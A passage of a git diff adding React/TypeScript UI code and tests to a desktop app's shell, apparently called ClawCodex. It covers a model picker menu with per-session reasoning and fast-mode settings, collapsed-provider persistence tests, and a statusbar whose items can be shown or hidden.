+    // Radix DropdownMenuItem fires onSelect on Enter from the onKeyDown handler
+    fireEvent.keyDown(header.closest('[role="menuitem"]') ?? header, { key: 'Enter' })
+
+    expect(content.queryByText('Deepseek V4 Pro')).toBeNull()
+  })
+
+  // The collapsed-providers set is a global presentation preference
+  // (`clawcodex.desktop.collapsed-providers`), but the catalog the picker renders
+  // is profile-scoped (`getGlobalModelOptions` routes through
+  // `profileScoped()`). Pruning the global set against only the active catalog
+  // would silently delete a user's collapse preference on every profile switch
+  // whose configured providers don't include the slug — the bug the maintainer
+  // flagged. The set must survive catalog changes; if the same provider shows
+  // up again later, the previous collapse is preserved.
+  it('preserves the collapsed set across a profile switch whose catalog lacks the slug', async () => {
+    toggleCollapsedProvider('deepseek')
+    toggleCollapsedProvider('google')
+    expect($collapsedProviders.get()).toEqual(['deepseek', 'google'])
+
+    // Profile A: both providers present, render + unmount.
+    getGlobalModelOptions.mockResolvedValueOnce({ providers: MOCK_PROVIDERS })
+    const a = renderPanel()
+    await a.content.findByText('DeepSeek')
+    a.content.unmount()
+
+    // Profile B: google is not in the catalog (simulates a profile whose
+    // configured providers differ). The previously-collapsed 'google' slug
+    // must survive — pruning it would lose state across a profile switch.
+    getGlobalModelOptions.mockResolvedValueOnce({ providers: [DEEPSEEK_PROVIDER, MOA_PROVIDER] })
+    const b = renderPanel()
+    await b.content.findByText('DeepSeek')
+
+    expect($collapsedProviders.get()).toEqual(['deepseek', 'google'])
+  })
+
+  it('preserves the collapsed set when Refresh Models drops a provider', async () => {
+    toggleCollapsedProvider('deepseek')
+    toggleCollapsedProvider('google')
+
+    // First load: both providers present.
+    getGlobalModelOptions.mockResolvedValueOnce({ providers: MOCK_PROVIDERS })
+    const a = renderPanel()
+    await a.content.findByText('DeepSeek')
+    a.content.unmount()
+
+    // Refresh Models returns a catalog that drops google (revoked key,
+    // plugin disabled, backend policy change). 'google' must survive — the
+    // user explicitly collapsed it, and the global set is not tied to any
+    // single refresh.
+    getGlobalModelOptions.mockResolvedValueOnce({ providers: [DEEPSEEK_PROVIDER, MOA_PROVIDER] })
+    const b = renderPanel()
+    await b.content.findByText('DeepSeek')
+
+    expect($collapsedProviders.get()).toContain('google')
+    expect($collapsedProviders.get()).toContain('deepseek')
+  })
+})
diff --git a/ui-desktop/src/app/shell/model-menu-panel.tsx b/ui-desktop/src/app/shell/model-menu-panel.tsx
new file mode 100644
index 000000000..d25d9b4de
--- /dev/null
+++ b/ui-desktop/src/app/shell/model-menu-panel.tsx
@@ -0,0 +1,244 @@
+import { useStore } from '@nanostores/react'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import { useState } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import type { ClawCodexGateway } from '@/clawcodex'
+import { Codicon } from '@/components/ui/codicon'
+import { DropdownMenuItem, dropdownMenuRow } from '@/components/ui/dropdown-menu'
+import { useI18n } from '@/i18n'
+import { modelOptionsQueryKey, requestModelOptions } from '@/lib/model-options'
+import { currentPickerSelection } from '@/lib/model-status-label'
+import { DEFAULT_REASONING_EFFORT } from '@/lib/reasoning-effort'
+import { cn } from '@/lib/utils'
+import { $modelPresets, applyModelPreset, modelPresetKey, setModelPreset } from '@/store/model-presets'
+import { $visibleModels } from '@/store/model-visibility'
+import { notifyError } from '@/store/notifications'
+import {
+  $defaultReasoningEffort,
+  markComposerSelectionManual,
+  setCurrentFastMode,
+  setCurrentReasoningEffort
+} from '@/store/session'
+import { sessionTileDelegate } from '@/store/session-states'
+import type { ModelOptionsResponse } from '@/types/clawcodex'
+
+import { ModelCatalogMenu, type ModelMenuController } from './model-catalog-menu'
+
+export { ModelMenuCloseContext } from './model-catalog-menu'
+
+export interface ModelSelection {
+  model: string
+  provider: string
+  /** Runtime id of the surface that opened the menu. When set, the switch
+   *  targets that session (a tile) instead of the primary `$activeSessionId`. */
+  sessionId?: null | string
+}
+
+interface ModelMenuPanelProps {
+  gateway?: ClawCodexGateway
+  onSelectModel: (selection: ModelSelection) => Promise<boolean> | void
+  profile?: string
+  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+}
+
+/**
+ * The composer's model menu: `ModelCatalogMenu` (the shared renderer) plus the
+ * controller that gives a selection its meaning HERE — write through to this
+ * surface's session, remember the pick as a global preset, keep the optimistic
+ * stores honest, and roll back on a failed gateway write.
+ */
+export function ModelMenuPanel({ gateway, onSelectModel, profile = 'default', requestGateway }: ModelMenuPanelProps) {
+  const { t } = useI18n()
+  const copy = t.shell.modelMenu
+  const [refreshing, setRefreshing] = useState(false)
+  const queryClient = useQueryClient()
+  // Bind to THIS surface's SessionView (primary or tile) so each pane's menu
+  // shows/switches its own model — not the primary-only globals.
+  const view = useSessionView()
+  const activeSessionId = useStore(view.$runtimeId)
+  const currentFastMode = useStore(view.$fast)
+  const currentModel = useStore(view.$model)
+  const currentProvider = useStore(view.$provider)
+  const currentReasoningEffort = useStore(view.$reasoningEffort)
+  const modelPresets = useStore($modelPresets)
+  const defaultEffort = useStore($defaultReasoningEffort) || DEFAULT_REASONING_EFFORT
+  const visibleModels = useStore($visibleModels)
+  const touchesPrimary = view.kind === 'primary'
+
+  // Subscribe to the SAME query the menu runs (identical key ⇒ React Query
+  // dedupes, no second fetch). It must be a live subscription, not a cache
+  // peek: with no model in the session store yet, currentPickerSelection falls
+  // back to the catalog's reported current, and a non-reactive read would
+  // never repaint that fallback once the catalog resolved.
+  const modelOptions = useQuery({
+    queryKey: modelOptionsQueryKey(profile, activeSessionId),
+    queryFn: (): Promise<ModelOptionsResponse> => requestModelOptions({ gateway, sessionId: activeSessionId })
+  })
+
+  const { model: optionsModel, provider: optionsProvider } = currentPickerSelection(
+    { model: currentModel, provider: currentProvider },
+    modelOptions.data
+  )
+
+  // Explicit "Refresh Models": re-fetch the catalog with refresh:true so the
+  // backend busts its 1h provider-model disk cache and re-pulls each provider's
+  // live list. Fixes live-only models (e.g. OpenCode Zen free tier) vanishing
+  // when the cache expires and falls back to the curated static list.
+  const refreshModels = async () => {
+    if (refreshing) {
+      return
+    }
+
+    setRefreshing(true)
+
+    try {
+      const queryKey = modelOptionsQueryKey(profile, activeSessionId)
+
+      const next = await requestModelOptions({ gateway, refresh: true, sessionId: activeSessionId })
+
+      queryClient.setQueryData<ModelOptionsResponse>(queryKey, next)
+    } catch {
+      // Network/backend hiccup — fall back to a plain invalidate so the next
+      // open re-fetches (still cached, but no worse than before).
+      void queryClient.invalidateQueries({ queryKey: ['model-options'] })
+    } finally {
+      setRefreshing(false)
+    }
+  }
+
+  // Push a reasoning change onto the session that owns it, with rollback.
+  const patchReasoning = async (next: string, previous: string, provider: string, model: string) => {
+    if (touchesPrimary) {
+      markComposerSelectionManual()
+      setCurrentReasoningEffort(next)
+    } else if (activeSessionId) {
+      sessionTileDelegate()?.updateSession(activeSessionId, state => ({ ...state, reasoningEffort: next }))
+    }
+
+    // Preset-only without a session: the gateway's `config.set` falls back to
+    // global config when none matches — so don't reach it (preset + optimistic
+    // store are the whole effect).
+    if (!activeSessionId) {
+      return
+    }
+
+    try {
+      await requestGateway('config.set', { key: 'reasoning', session_id: activeSessionId, value: next })
+    } catch (err) {
+      if (touchesPrimary) {
+        setCurrentReasoningEffort(previous)
+      } else {
+        sessionTileDelegate()?.updateSession(activeSessionId, state => ({ ...state, reasoningEffort: previous }))
+      }
+
+      setModelPreset(provider, model, { effort: previous })
+      notifyError(err, t.shell.modelOptions.updateFailed)
+    }
+  }
+
+  const patchFast = async (enabled: boolean, provider: string, model: string) => {
+    if (touchesPrimary) {
+      markComposerSelectionManual()
+      setCurrentFastMode(enabled)
+    } else if (activeSessionId) {
+      sessionTileDelegate()?.updateSession(activeSessionId, state => ({ ...state, fast: enabled }))
+    }
+
+    if (!activeSessionId) {
+      return
+    }
+
+    try {
+      await requestGateway('config.set', {
+        key: 'fast',
+        session_id: activeSessionId,
+        value: enabled ? 'fast' : 'normal'
+      })
+    } catch (err) {
+      if (touchesPrimary) {
+        setCurrentFastMode(!enabled)
+      } else {
+        sessionTileDelegate()?.updateSession(activeSessionId, state => ({ ...state, fast: !enabled }))
+      }
+
+      setModelPreset(provider, model, { fast: !enabled })
+      notifyError(err, t.shell.modelOptions.fastFailed)
+    }
+  }
+
+  const controller: ModelMenuController = {
+    // Selecting a model row restores that model's remembered preset onto the
+    // session (effort/fast). applyModelPreset owns the batched gateway write.
+    applyPreset: (preset, row) => {
+      setModelPreset(row.provider, row.model, preset)
+
+      void applyModelPreset(preset, {
+        failMessage: t.shell.modelOptions.updateFailed,
+        primary: touchesPrimary,
+        request: requestGateway,
+        sessionId: activeSessionId
+      })
+    },
+
+    current: {
+      effort: currentReasoningEffort,
+      fast: currentFastMode,
+      model: optionsModel,
+      provider: optionsProvider
+    },
+
+    presetFor: (provider, model) => modelPresets[modelPresetKey(provider, model)] ?? {},
+
+    // The composer picker never persists the profile default. With a session it
+    // scopes the switch to that session; with none it's UI state shipped on the
+    // next session.create. Always stamp sessionId from this surface so a tile
+    // switch never hits the primary (busy) session by accident.
+    select: (model, provider) => onSelectModel({ model, provider, sessionId: activeSessionId || null }),
+
+    setOptions: (patch, row) => {
+      // Editing always records the model's global preset (keyed by
+      // provider::model, not per-surface — a tile edit re-applies to that model
+      // everywhere); the active model also gets it pushed onto its OWN session.
+      // Non-active edits stay preset-only — no model switch, no session write.
+      if (patch.effort !== undefined || patch.fast !== undefined) {
+        setModelPreset(row.provider, row.model, patch)
+      }
+
+      if (!row.isActive) {
+        return
+      }
+
+      if (patch.effort !== undefined) {
+        void patchReasoning(patch.effort, currentReasoningEffort, row.provider, row.model)
+      }
+
+      if (patch.fast !== undefined) {
+        void patchFast(patch.fast, row.provider, row.model)
+      }
+    }
+  }
+
+  return (
+    <ModelCatalogMenu
+      controller={controller}
+      footer={
+        <DropdownMenuItem
+          className={cn(dropdownMenuRow, 'text-(--ui-text-tertiary)')}
+          disabled={refreshing}
+          onSelect={event => {
+            event.preventDefault()
+            void refreshModels()
+          }}
+        >
+          <Codicon className={cn(refreshing && 'animate-spin')} name="sync" size="0.75rem" />
+          {copy.refreshModels}
+        </DropdownMenuItem>
+      }
+      gateway={gateway}
+      includeMoa
+      profile={profile}
+      sessionId={activeSessionId}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/shell/sidebar-label.tsx b/ui-desktop/src/app/shell/sidebar-label.tsx
new file mode 100644
index 000000000..759bae1d5
--- /dev/null
+++ b/ui-desktop/src/app/shell/sidebar-label.tsx
@@ -0,0 +1,22 @@
+import type * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+interface SidebarPanelLabelProps extends React.ComponentProps<'span'> {
+  dotClassName?: string
+}
+
+export function SidebarPanelLabel({ children, className, dotClassName, ...props }: SidebarPanelLabelProps) {
+  return (
+    <span
+      className={cn(
+        'flex min-w-0 items-center gap-2 pl-2 text-[0.64rem] font-semibold uppercase tracking-[0.16em] text-(--theme-primary)',
+        className
+      )}
+      {...props}
+    >
+      <span aria-hidden="true" className={cn('dither inline-block size-2 shrink-0 rounded-[1px]', dotClassName)} />
+      <span className="min-w-0 truncate leading-none">{children}</span>
+    </span>
+  )
+}
diff --git a/ui-desktop/src/app/shell/statusbar-controls.tsx b/ui-desktop/src/app/shell/statusbar-controls.tsx
new file mode 100644
index 000000000..855d016bf
--- /dev/null
+++ b/ui-desktop/src/app/shell/statusbar-controls.tsx
@@ -0,0 +1,342 @@
+import { useStore } from '@nanostores/react'
+import { type ComponentProps, memo, type ReactNode, useMemo, useState } from 'react'
+import { useNavigate } from 'react-router'
+
+import {
+  ContextMenu,
+  ContextMenuCheckboxItem,
+  ContextMenuContent,
+  ContextMenuItem,
+  ContextMenuLabel,
+  ContextMenuSeparator,
+  ContextMenuTrigger
+} from '@/components/ui/context-menu'
+import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger } from '@/components/ui/dropdown-menu'
+import { Tip, TipKeybindLabel, Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { useKeybindHint } from '@/lib/keybinds/use-keybind-hint'
+import { cn } from '@/lib/utils'
+import { $statusbarHiddenIds, setStatusbarItemVisible, toggleStatusbarVisible } from '@/store/statusbar-prefs'
+
+// Shared chrome styling for interactive statusbar items (button / link / menu
+// trigger). The 'text' variant intentionally omits hover/transition/disabled.
+const STATUSBAR_ACTION_CLASS =
+  'inline-flex h-full items-center gap-1 rounded-none px-1.5 text-[0.6875rem] text-(--ui-text-tertiary) transition-colors hover:bg-(--chrome-action-hover) hover:text-foreground disabled:cursor-default disabled:opacity-45'
+
+export interface StatusbarMenuItem {
+  id: string
+  icon?: ReactNode
+  label: string
+  className?: string
+  disabled?: boolean
+  hidden?: boolean
+  href?: string
+  onSelect?: () => void
+  title?: string
+  to?: string
+}
+
+export interface StatusbarItem {
+  id: string
+  /** Escape hatch: render an arbitrary node into the bar (own state, tooltip,
+   *  events). When set, it OWNS the slot — label/variant/onSelect are ignored.
+   *  This is how a plugin drops a full stateful React component into the bar. */
+  render?: () => ReactNode
+  label?: ReactNode
+  detail?: ReactNode
+  icon?: ReactNode
+  className?: string
+  disabled?: boolean
+  hidden?: boolean
+  href?: string
+  menuAlign?: 'center' | 'end' | 'start'
+  menuClassName?: string
+  // A render fn receives a `close()` to dismiss the popover from inside the content.
+  menuContent?: ((close: () => void) => ReactNode) | ReactNode
+  menuItems?: readonly StatusbarMenuItem[]
+  onSelect?: (modifiers: StatusbarSelectModifiers) => void
+  /** Keybind action id — when set, the tooltip shows the label + keybind hint. */
+  actionId?: string
+  title?: string
+  to?: string
+  variant?: 'action' | 'link' | 'menu' | 'text'
+  /** Plain-text name for the bar's right-click show/hide menu. An item without
+   *  one is never listed there and always shows — the safe default for plugin
+   *  contributions that don't opt in. */
+  toggleLabel?: string
+  /** Listed in the menu but not switchable: the bar's own affordances (command
+   *  center, update/version pills) would strand the user if they could be
+   *  hidden from the surface that hides them. */
+  lockedVisible?: boolean
+}
+
+export interface StatusbarSelectModifiers {
+  shiftKey: boolean
+}
+
+export type StatusbarItemSide = 'left' | 'right'
+export type SetStatusbarItemGroup = (id: string, items: readonly StatusbarItem[], side?: StatusbarItemSide) => void
+
+interface StatusbarControlsProps extends ComponentProps<'footer'> {
+  leftItems?: readonly StatusbarItem[]
+  items?: readonly StatusbarItem[]
+}
+
+export function StatusbarControls({ className, leftItems = [], items = [], ...props }: StatusbarControlsProps) {
+  const navigate = useNavigate()
+  const hiddenIds = useStore($statusbarHiddenIds)
+
+  const visible = (item: StatusbarItem) =>
+    !item.hidden && (item.lockedVisible || !item.toggleLabel || !hiddenIds.includes(item.id))
+
+  return (
+    <ContextMenu>
+      <ContextMenuTrigger asChild>
+        <footer
+          className={cn(
+            'flex h-5 shrink-0 items-stretch justify-between gap-2 bg-(--ui-sidebar-surface-background) px-1 py-0 text-(--ui-text-tertiary) [-webkit-app-region:no-drag]',
+            className
+          )}
+          data-slot="statusbar"
+          {...props}
+        >
+          {/* `overflow-x-clip` (not `overflow-x-auto`) so a wide status item — for
+              example "Connecting…" on a fresh/untitled session — can't paint a
+              horizontal scrollbar across the bottom of the window. Items already
+              `truncate` their labels, so clipping is the right behavior. */}
+          <div className="flex min-w-0 items-stretch gap-0.5 overflow-x-clip">
+            {leftItems.filter(visible).map(item => (
+              <StatusbarItemView item={item} key={`left:${item.id}`} navigate={navigate} />
+            ))}
+          </div>
+          <div className="flex min-w-0 items-stretch gap-0.5 overflow-x-clip">
+            {items.filter(visible).map(item => (
+              <StatusbarItemView item={item} key={`right:${item.id}`} navigate={navigate} />
+            ))}
+          </div>
+        </footer>
+      </ContextMenuTrigger>
+      <StatusbarVisibilityMenu hiddenIds={hiddenIds} items={items} leftItems={leftItems} />
+    </ContextMenu>
+  )
+}
+
+/** Right-click the bar to choose what it shows. Lists every item that named
+ *  itself with `toggleLabel`, in bar order (left cluster then right), so the
+ *  menu reads like the surface it edits. Hiding the whole bar lives at the
+ *  bottom — VS Code puts it on the same context menu. */
+function StatusbarVisibilityMenu({
+  hiddenIds,
+  items,
+  leftItems
+}: {
+  hiddenIds: readonly string[]
+  items: readonly StatusbarItem[]
+  leftItems: readonly StatusbarItem[]
+}) {
+  const { t } = useI18n()
+  const copy = t.shell.statusbar
+
+  // Deduped by id: an item can legitimately appear in both clusters across
+  // renders (contributions move sides), and a repeated checkbox would let one
+  // row's toggle silently contradict the other's.
+  const toggles = useMemo(() => {
+    const seen = new Set<string>()
+
+    return [...leftItems, ...items].filter(item => {
+      if (!item.toggleLabel || seen.has(item.id)) {
+        return false
+      }
+
+      seen.add(item.id)
+
+      return true
+    })
+  }, [items, leftItems])
+
+  return (
+    <ContextMenuContent className="w-52">
+      {toggles.length > 0 && (
+        <>
+          <ContextMenuLabel>{copy.customizeTitle}</ContextMenuLabel>
+          <ContextMenuSeparator />
+          {toggles.map(item => (
+            <ContextMenuCheckboxItem
+              checked={item.lockedVisible || !hiddenIds.includes(item.id)}
+              disabled={item.lockedVisible}
+              key={item.id}
+              onCheckedChange={checked => setStatusbarItemVisible(item.id, checked)}
+              // Radix closes the menu on select; keep it open so several items can
+              // be toggled in one pass (this is a preferences surface, not a
+              // command list).
+              onSelect={event => event.preventDefault()}
+            >
+              <span className="truncate">{item.toggleLabel}</span>
+            </ContextMenuCheckboxItem>
+          ))}
+          <ContextMenuSeparator />
+        </>
+      )}
+      <ContextMenuItem onSelect={toggleStatusbarVisible}>
+        <span className="truncate">{copy.hideStatusbar}</span>
+        <StatusbarHideHint />
+      </ContextMenuItem>
+    </ContextMenuContent>
+  )
+}
+
+/** The live ⌘⇧S hint on the hide row — the way back once the bar is gone. */
+function StatusbarHideHint() {
+  const hint = useKeybindHint('view.toggleStatusbar')
+
+  return hint ? <span className="ml-auto pl-2 text-(--ui-text-quaternary)">{hint}</span> : null
+}
+
+/** Memoized: `useStatusbarItems` rebuilds the item array whenever ANY of its
+ *  inputs change, but each individual item object is usually identical across
+ *  those rebuilds. Without this, one changed item (the running timer, say)
+ *  re-rendered every other item in the bar — measured at 1,446 wasted renders
+ *  of 2,174 during a five-tab streaming run. `navigate` is stable for the
+ *  router's lifetime, so item identity is the only real input. */
+const StatusbarItemView = memo(function StatusbarItemView({
+  item,
+  navigate
+}: {
+  item: StatusbarItem
+  navigate: ReturnType<typeof useNavigate>
+}) {
+  const [menuOpen, setMenuOpen] = useState(false)
+
+  // Render escape hatch: the contribution owns its own chrome/state/tooltip.
+  if (item.render) {
+    return <>{item.render()}</>
+  }
+
+  const tooltipLabel = item.actionId ? <TipKeybindLabel actionId={item.actionId} text={item.title} /> : item.title
+
+  const content = (
+    <>
+      {item.icon}
+      {item.label && <span className="truncate">{item.label}</span>}
+      {item.detail && <span className="truncate text-muted-foreground/80">{item.detail}</span>}
+    </>
+  )
+
+  if (item.variant === 'menu' && (item.menuContent || !!item.menuItems?.length)) {
+    // The `Tip` helper can't wrap a menu: its TooltipTrigger needs a DOM child,
+    // but DropdownMenu's Root renders no element, so the hover listeners never
+    // land on the button and the tooltip silently never shows. Compose the two
+    // trigger Slots directly onto the same <button> instead (both asChild), the
+    // way profile-switcher.tsx stacks Popover/ContextMenu/Tooltip triggers.
+    const trigger = (
+      <DropdownMenuTrigger asChild>
+        <button className={cn(STATUSBAR_ACTION_CLASS, item.className)} disabled={item.disabled} type="button">
+          {content}
+        </button>
+      </DropdownMenuTrigger>
+    )
+
+    return (
+      <DropdownMenu onOpenChange={setMenuOpen} open={menuOpen}>
+        {item.title ? (
+          <TooltipProvider delayDuration={0}>
+            <Tooltip>
+              <TooltipTrigger asChild>{trigger}</TooltipTrigger>
+              <TooltipContent>{tooltipLabel}</TooltipContent>
+            </Tooltip>
+          </TooltipProvider>
+        ) : (
+          trigger
+        )}
+        <DropdownMenuContent
+          align={item.menuAlign ?? 'start'}
+          className={cn('w-56', item.menuContent && 'p-0', item.menuClassName)}
+          side="top"
+          sideOffset={8}
+        >
+          {item.menuContent
+            ? typeof item.menuContent === 'function'
+              ? item.menuContent(() => setMenuOpen(false))
+              : item.menuContent
+            : (item.menuItems ?? [])
+                .filter(menuItem => !menuItem.hidden)
+                .map(menuItem => (
+                  <DropdownMenuItem
+                    className={cn('gap-2 text-foreground focus:bg-accent [&_svg]:size-4', menuItem.className)}
+                    disabled={menuItem.disabled}
+                    key={menuItem.id}
+                    onSelect={() => {
+                      if (menuItem.to) {
+                        navigate(menuItem.to)
+                      }
+
+                      menuItem.onSelect?.()
+                    }}
+                  >
+                    {menuItem.href ? (
+                      <a
+                        className="inline-flex w-full items-center gap-2"
+                        href={menuItem.href}
+                        rel="noreferrer"
+                        target="_blank"
+                      >
+                        {menuItem.icon}
+                        <span className="truncate">{menuItem.label}</span>
+                      </a>
+                    ) : (
+                      <>
+                        {menuItem.icon}
+                        <span className="truncate">{menuItem.label}</span>
+                      </>
+                    )}
+                  </DropdownMenuItem>
+                ))}
+        </DropdownMenuContent>
+      </DropdownMenu>
+    )
+  }
+
+  if (item.variant === 'text' && !item.onSelect && !item.to && !item.href) {
+    return (
+      <Tip label={tooltipLabel}>
+        <div
+          className={cn(
+            'inline-flex h-full items-center gap-1 px-1.5 text-[0.6875rem] text-(--ui-text-tertiary)',
+            item.className
+          )}
+        >
+          {content}
+        </div>
+      </Tip>
+    )
+  }
+
+  if (item.href || item.variant === 'link') {
+    return (
+      <Tip label={tooltipLabel}>
+        <a className={cn(STATUSBAR_ACTION_CLASS, item.className)} href={item.href} rel="noreferrer" target="_blank">
+          {content}
+        </a>
+      </Tip>
+    )
+  }
+
+  return (
+    <Tip label={tooltipLabel}>
+      <button
+        className={cn(STATUSBAR_ACTION_CLASS, item.className)}
+        disabled={item.disabled}
+        onClick={event => {
+          if (item.to) {
+            navigate(item.to)
+          }
+
+          item.onSelect?.({ shiftKey: event.shiftKey })
+        }}
+        type="button"
+      >
+        {content}
+      </button>
+    </Tip>
+  )
+})
diff --git a/ui-desktop/src/app/shell/statusbar-visibility.test.tsx b/ui-desktop/src/app/shell/statusbar-visibility.test.tsx
new file mode 100644
index 000000000..b4bce684b
--- /dev/null
+++ b/ui-desktop/src/app/shell/statusbar-visibility.test.tsx
@@ -0,0 +1,149 @@
+import { cleanup, fireEvent, render, screen, within } from '@testing-library/react'
+import { MemoryRouter } from 'react-router'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+
+import { StatusbarControls, type StatusbarItem } from '@/app/shell/statusbar-controls'
+import {
+  $statusbarHiddenIds,
+  $statusbarVisible,
+  STATUSBAR_HIDDEN_BY_DEFAULT,
+  toggleStatusbarVisible
+} from '@/store/statusbar-prefs'
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+beforeAll(() => {
+  vi.stubGlobal('ResizeObserver', TestResizeObserver)
+  Element.prototype.hasPointerCapture ??= () => false
+  Element.prototype.setPointerCapture ??= () => undefined
+  Element.prototype.releasePointerCapture ??= () => undefined
+  HTMLElement.prototype.scrollIntoView ??= () => undefined
+})
+
+afterEach(() => {
+  cleanup()
+  $statusbarHiddenIds.set([...STATUSBAR_HIDDEN_BY_DEFAULT])
+  $statusbarVisible.set(true)
+})
+
+const item = (id: string, label: string, extra: Partial<StatusbarItem> = {}): StatusbarItem => ({
+  id,
+  label,
+  toggleLabel: label,
+  variant: 'action',
+  ...extra
+})
+
+function bar(items: StatusbarItem[]) {
+  render(
+    <MemoryRouter>
+      <StatusbarControls items={items} />
+    </MemoryRouter>
+  )
+
+  return screen.getByRole('contentinfo')
+}
+
+/** Radix opens a ContextMenu on contextmenu after a pointerdown positions it. */
+function openContextMenu(target: HTMLElement) {
+  fireEvent.pointerDown(target, { button: 2, ctrlKey: false, pointerType: 'mouse' })
+  fireEvent.contextMenu(target, { button: 2 })
+}
+
+describe('statusbar item visibility', () => {
+  it('hides the route/toggle items out of the box and keeps status items', () => {
+    bar([
+      item('cron', 'Cron'),
+      item('webhooks', 'Webhooks'),
+      item('agents', 'Agents'),
+      item('terminal', 'Terminal'),
+      item('approval-mode', 'Approvals'),
+      item('gateway-health', 'Gateway')
+    ])
+
+    for (const label of ['Cron', 'Webhooks', 'Agents', 'Terminal', 'Approvals']) {
+      expect(screen.queryByText(label)).toBeNull()
+    }
+
+    expect(screen.getByText('Gateway')).toBeTruthy()
+  })
+
+  it('shows an item once the user enables it from the bar context menu', async () => {
+    const statusbar = bar([item('cron', 'Cron'), item('gateway-health', 'Gateway')])
+
+    expect(screen.queryByText('Cron')).toBeNull()
+
+    openContextMenu(statusbar)
+
+    const row = await screen.findByRole('menuitemcheckbox', { name: 'Cron' })
+    fireEvent.click(row)
+
+    expect($statusbarHiddenIds.get()).not.toContain('cron')
+    expect(within(statusbar).getByText('Cron')).toBeTruthy()
+  })
+
+  it('never lets the user hide a locked item (system icon / update pill)', async () => {
+    const statusbar = bar([item('command-center', 'Command Center', { lockedVisible: true })])
+
+    openContextMenu(statusbar)
+
+    const row = await screen.findByRole('menuitemcheckbox', { name: 'Command Center' })
+    expect(row.getAttribute('data-disabled')).not.toBeNull()
+    expect(row.getAttribute('aria-checked')).toBe('true')
+  })
+
+  it('leaves items that never opted into the menu alone', () => {
+    $statusbarHiddenIds.set(['plugin-thing'])
+    bar([{ id: 'plugin-thing', label: 'Plugin thing', variant: 'action' }])
+
+    expect(screen.getByText('Plugin thing')).toBeTruthy()
+  })
+
+  it('starts the per-turn session readouts hidden and restores them from the menu', async () => {
+    const statusbar = bar([
+      item('running-timer', 'Turn timer', { variant: 'text' }),
+      item('context-usage', 'Context meter', { variant: 'menu' }),
+      item('session-timer', 'Session timer', { variant: 'text' }),
+      item('gateway-health', 'Gateway')
+    ])
+
+    for (const label of ['Turn timer', 'Context meter', 'Session timer']) {
+      expect(screen.queryByText(label)).toBeNull()
+    }
+
+    openContextMenu(statusbar)
+
+    const row = await screen.findByRole('menuitemcheckbox', { name: 'Session timer' })
+    fireEvent.click(row)
+
+    expect($statusbarHiddenIds.get()).not.toContain('session-timer')
+    expect(within(statusbar).getByText('Session timer')).toBeTruthy()
+  })
+})
+
+describe('whole-bar visibility', () => {
+  it('hides the bar from the context menu, leaving the keybind as the way back', async () => {
+    const statusbar = bar([item('gateway-health', 'Gateway')])
+
+    openContextMenu(statusbar)
+    fireEvent.click(await screen.findByRole('menuitem', { name: /hide status bar/i }))
+
+    expect($statusbarVisible.get()).toBe(false)
+
+    toggleStatusbarVisible()
+    expect($statusbarVisible.get()).toBe(true)
+  })
+
+  it('offers the hide row even when no item opted into the show/hide list', async () => {
+    const statusbar = bar([{ id: 'plugin-thing', label: 'Plugin thing', variant: 'action' }])
+
+    openContextMenu(statusbar)
+
+    expect(await screen.findByRole('menuitem', { name: /hide status bar/i })).toBeTruthy()
+    expect(screen.queryByRole('menuitemcheckbox')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/shell/titlebar-controls.tsx b/ui-desktop/src/app/shell/titlebar-controls.tsx
new file mode 100644
index 000000000..6c3c3e5fc
--- /dev/null
+++ b/ui-desktop/src/app/shell/titlebar-controls.tsx
@@ -0,0 +1,321 @@
+import { useStore } from '@nanostores/react'
+import { type ComponentProps, type MouseEvent, type ReactNode, useEffect, useState } from 'react'
+import { useLocation, useNavigate } from 'react-router'
+
+import { toggleLayoutEditMode } from '@/components/pane-shell/edit-mode'
+import { resetLayoutTree } from '@/components/pane-shell/tree/store'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip, TipKeybindLabel } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { cn } from '@/lib/utils'
+import { $hapticsMuted, toggleHapticsMuted } from '@/store/haptics'
+import {
+  $fileBrowserOpen,
+  $sidebarOpen,
+  toggleFileBrowserOpen,
+  togglePanesFlipped,
+  toggleSidebarOpen
+} from '@/store/layout'
+
+import { appViewForPath, isOverlayView, SETTINGS_ROUTE } from '../routes'
+
+import { titlebarButtonClass } from './titlebar'
+
+export interface TitlebarTool {
+  id: string
+  label: string
+  active?: boolean
+  className?: string
+  disabled?: boolean
+  hidden?: boolean
+  href?: string
+  icon: ReactNode
+  onSelect?: (event?: MouseEvent) => void
+  /** Keybind action id — when set, the tooltip shows the label + keybind hint. */
+  actionId?: string
+  title?: string
+  to?: string
+}
+
+export type TitlebarToolSide = 'left' | 'right'
+export type SetTitlebarToolGroup = (id: string, tools: readonly TitlebarTool[], side?: TitlebarToolSide) => void
+
+interface TitlebarControlsProps extends ComponentProps<'div'> {
+  leftTools?: readonly TitlebarTool[]
+  tools?: readonly TitlebarTool[]
+  onOpenSettings: () => void
+}
+
+/**
+ * The layout button's glyph. Morphs into its composite reset form — the
+ * layout icon wearing a small counter-clockwise arrow badge ("layout, back
+ * to how it was") — ONLY while the pointer is on the button AND ⌘/Ctrl is
+ * held: hover gates via CSS (`group/tool` on the button), the modifier via
+ * the window listener. Pressing the modifier elsewhere changes nothing.
+ */
+function LayoutGlyph({ modHeld }: { modHeld: boolean }) {
+  return (
+    <>
+      <span className={cn('inline-flex', modHeld && 'group-hover/tool:hidden')}>
+        <Codicon name="layout" />
+      </span>
+      <span className={cn('relative hidden', modHeld && 'group-hover/tool:inline-flex')}>
+        <Codicon name="layout" />
+        <span className="absolute -bottom-1 -right-1.5 grid place-items-center rounded-full bg-(--ui-bg-chrome) p-px">
+          <Codicon className="-scale-x-100" name="refresh" size="0.5625rem" />
+        </span>
+      </span>
+    </>
+  )
+}
+
+/** Live ⌘/Ctrl tracking — mod-click affordances telegraph themselves (the
+ *  layout button morphs into its reset form while the modifier is down). */
+function useModifierHeld(): boolean {
+  const [held, setHeld] = useState(false)
+
